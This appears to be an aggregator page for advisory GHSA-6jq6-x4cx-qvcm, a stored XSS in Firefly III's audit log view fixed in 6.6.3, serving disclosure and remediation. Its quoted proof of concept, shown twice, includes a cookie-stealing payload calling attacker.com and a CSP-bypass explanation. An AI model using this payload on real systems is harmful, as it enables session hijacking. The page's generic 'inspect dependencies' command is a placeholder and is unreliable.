GHSA-6jq6-x4cx-qvcm: Grumpydictator/firefly iii Cross-Site Scripting Vulnerability

MODERATE
CWE-116 CWE-79
Published
Advisory Summary

GHSA-6jq6-x4cx-qvcm is a MODERATE cross-site scripting vulnerability (CWE-116: Improper Encoding or Escaping of Output) affecting Grumpydictator/firefly iii libraries in the Packagist ecosystem. The issue involves firefly ii has stored xss in audit log entry view via piggy bank name (ale.twig). Remediation is available by upgrading affected packages to version 6.6.3.

GHSA-6jq6-x4cx-qvcm at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-6jq6-x4cx-qvcm
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-116: Improper Encoding or Escaping of Output
Affected Product Grumpydictator/firefly iii
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix GHSA-6jq6-x4cx-qvcm

To remediate this vulnerability, upgrade all affected Grumpydictator/firefly iii dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

grumpydictator/firefly-iii fixed: 6.6.3
Upgrade grumpydictator/firefly-iii to 6.6.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for grumpydictator/firefly-iii

How to Check if You Are Affected

To determine whether your application is affected by GHSA-6jq6-x4cx-qvcm, inspect your project dependencies for Grumpydictator/firefly iii:

inspect dependencies for grumpydictator/firefly-iii

Analyze the terminal output to locate any version of Grumpydictator/firefly iii in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.6.3), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-116: Improper Encoding or Escaping of Output, where the product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. as a result, the intended structure of the message is not preserved. In Grumpydictator/firefly iii, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The Twig template `resources/views/list/ale.twig` renders the piggy bank name from `AuditLogEntry.after.piggy` using the `|raw` filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log. ## Root Cause The `|raw` filter is required on the outer `trans()` call to preserve `<span>` tags in the `amount` parameter (currency styling). However, this also disables escaping for the user-controlled `name` parameter. **Vulnerable code (`resources/views/list/ale.twig` lines 107, 110):** ```twig {{ trans('firefly.ale_action_log_add', { amount: formatAmountBySymbol(...), name: logEntry.after.piggy })|raw }} ``` No HTML sanitization at storage time — `PiggyBankStoreRequest` only validates `min:1|max:255|uniquePiggyBankForUser`. ## Data Flow ``` POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"} → Stored verbatim in piggy_banks.name → Transaction rule fires add_to_piggy / remove_from_piggy → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name → Any user views /transactions/show/{id} → ale.twig outputs unescaped payload → XSS fires ``` ## CSP Note The nonce-based CSP (`script-src 'nonce-...' 'strict-dynamic'`) does **not** prevent this attack. Inline event handlers (`onerror`, `onload`) in HTML attributes are governed by `script-src-attr`, which is unrestricted in the current policy. The `<img onerror=...>` payload bypasses the nonce requirement entirely. ## PoC 1. Authenticate as any user 2. `POST /api/v1/piggy-banks` with `"name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"` 3. Create a rule: action = "Add money to piggy bank [attacker's piggy bank]" 4. Trigger the rule on any transaction 5. Visit `/transactions/show/{id}` → payload fires **Confirmed server response (v6.6.2):** ```html Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank "<img src=x onerror=alert(document.cookie)>" ``` ## Impact - Stored XSS persists in DB — fires for every user who views the transaction - Cookie theft → session hijacking - In multi-user setups: one user attacks another user or admin - Chainable with CSRF-like operations ## Fix PR #12271 (merged into `develop`): add `|e` to escape only the user-controlled `name` parameter. ```twig {{ trans('firefly.ale_action_log_add', { amount: formatAmountBySymbol(...), name: logEntry.after.piggy|e })|raw }} ```

GHSA-6jq6-x4cx-qvcm Affected Grumpydictator/firefly iii Versions

1 component(s)
Fixed Versions:
6.6.3
Product / Package Ecosystem Affected Versions Fixed Version
grumpydictator/firefly-iii
Packagist
< 6.6.3
6.6.3

References

Frequently Asked Questions

What is GHSA-6jq6-x4cx-qvcm?
GHSA-6jq6-x4cx-qvcm is a security vulnerability in Grumpydictator/firefly iii involving Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig) under CWE-116: Improper Encoding or Escaping of Output.
Which Grumpydictator/firefly iii versions are affected?
Affected versions include releases prior to 6.6.3 across affected packages: grumpydictator/firefly-iii.
What version fixes GHSA-6jq6-x4cx-qvcm?
Upgrading to 6.6.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is grumpydictator/firefly-iii affected?
Yes, grumpydictator/firefly-iii is affected in releases prior to 6.6.3. Upgrade your dependency to 6.6.3 or later.
What CWE is associated with GHSA-6jq6-x4cx-qvcm?
GHSA-6jq6-x4cx-qvcm is classified under CWE-116: Improper Encoding or Escaping of Output (The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.).
How can I check Packagist dependencies for GHSA-6jq6-x4cx-qvcm?
Run the dependency tree command: 'inspect dependencies for grumpydictator/firefly-iii'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6jq6-x4cx-qvcm",
  "modified" : "2026-06-12T15:04:50Z",
  "published" : "2026-06-12T15:04:50Z",
  "aliases" : [ ],
  "summary" : "Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)",
  "details" : "## Summary\n\nThe Twig template `resources/views/list/ale.twig` renders the piggy bank name from `AuditLogEntry.after.piggy` using the `|raw` filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.\n\n## Root Cause\n\nThe `|raw` filter is required on the outer `trans()` call to preserve `<span>` tags in the `amount` parameter (currency styling). However, this also disables escaping for the user-controlled `name` parameter.\n\n**Vulnerable code (`resources/views/list/ale.twig` lines 107, 110):**\n```twig\n{{ trans('firefly.ale_action_log_add', {\n    amount: formatAmountBySymbol(...),\n    name: logEntry.after.piggy\n})|raw }}\n```\n\nNo HTML sanitization at storage time — `PiggyBankStoreRequest` only validates `min:1|max:255|uniquePiggyBankForUser`.\n\n## Data Flow\n\n```\nPOST /api/v1/piggy-banks {\"name\": \"<img src=x onerror=...>\"}\n  → Stored verbatim in piggy_banks.name\n  → Transaction rule fires add_to_piggy / remove_from_piggy\n  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name\n  → Any user views /transactions/show/{id}\n  → ale.twig outputs unescaped payload → XSS fires\n```\n\n## CSP Note\n\nThe nonce-based CSP (`script-src 'nonce-...' 'strict-dynamic'`) does **not** prevent this attack. Inline event handlers (`onerror`, `onload`) in HTML attributes are governed by `script-src-attr`, which is unrestricted in the current policy. The `<img onerror=...>` payload bypasses the nonce requirement entirely.\n\n## PoC\n\n1. Authenticate as any user\n2. `POST /api/v1/piggy-banks` with `\"name\": \"<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>\"`\n3. Create a rule: action = \"Add money to piggy bank [attacker's piggy bank]\"\n4. Trigger the rule on any transaction\n5. Visit `/transactions/show/{id}` → payload fires\n\n**Confirmed server response (v6.6.2):**\n```html\nAdded <span class=\"text-success money-positive\">EUR 50.00</span> to piggy bank\n\"<img src=x onerror=alert(document.cookie)>\"\n```\n\n## Impact\n\n- Stored XSS persists in DB — fires for every user who views the transaction\n- Cookie theft → session hijacking\n- In multi-user setups: one user attacks another user or admin\n- Chainable with CSRF-like operations\n\n## Fix\n\nPR #12271 (merged into `develop`): add `|e` to escape only the user-controlled `name` parameter.\n\n```twig\n{{ trans('firefly.ale_action_log_add', {\n    amount: formatAmountBySymbol(...),\n    name: logEntry.after.piggy|e\n})|raw }}\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "grumpydictator/firefly-iii"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "6.6.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 6.6.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/firefly-iii/firefly-iii/security/advisories/GHSA-6jq6-x4cx-qvcm"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/firefly-iii/firefly-iii/pull/12271"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/firefly-iii/firefly-iii"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-116", "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-12T15:04:50Z",
    "nvd_published_at" : null
  }
}